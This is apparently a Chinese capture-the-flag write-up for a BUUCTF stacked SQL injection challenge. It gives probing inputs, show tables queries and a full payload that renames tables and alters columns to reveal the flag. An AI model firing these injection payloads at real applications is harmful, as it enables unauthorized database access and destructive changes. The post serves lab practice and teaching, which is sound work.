buuctf-web [強網杯 2019]隨便注 1
阿新 • • 發佈:2020-09-21
啟動靶機,開啟是這個介面
首先輸入1‘,它會報錯
然後輸入1' order by 2,這說明只有兩個欄位。
然後我們使用union select聯合查詢一下,出錯了
顯而易見,這是被過濾了,是preg_match的檢測。
我們再堆疊注入一下;爆出資料庫:1'; show databases;#
再爆一下表名1'; show tables;#
找出來兩個表。我們看一下191的。試著讀取一下1';desc `表名`;#
在這個表裡發現了flag的蹤跡。再進行words表讀取。接下來就是圍繞著讀取flag來進行了。
把預設的words改為ww ALTER TABLE words RENAME TO ww; 把1919810931114514改為words; ALTER TABLE1919810931114514 RENAME TO words; 往words表裡新增一個欄位id ALTER TABLE words ADD id int(10) DEFAULT '1'; 修改words裡面flag為data ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 然後把以上語句進行堆疊:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT'12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 還有種語句格式: 把預設的words改為ww rename table words to ww; 下面就都一樣
然後再一次1’or 1=1;#就可以得出flag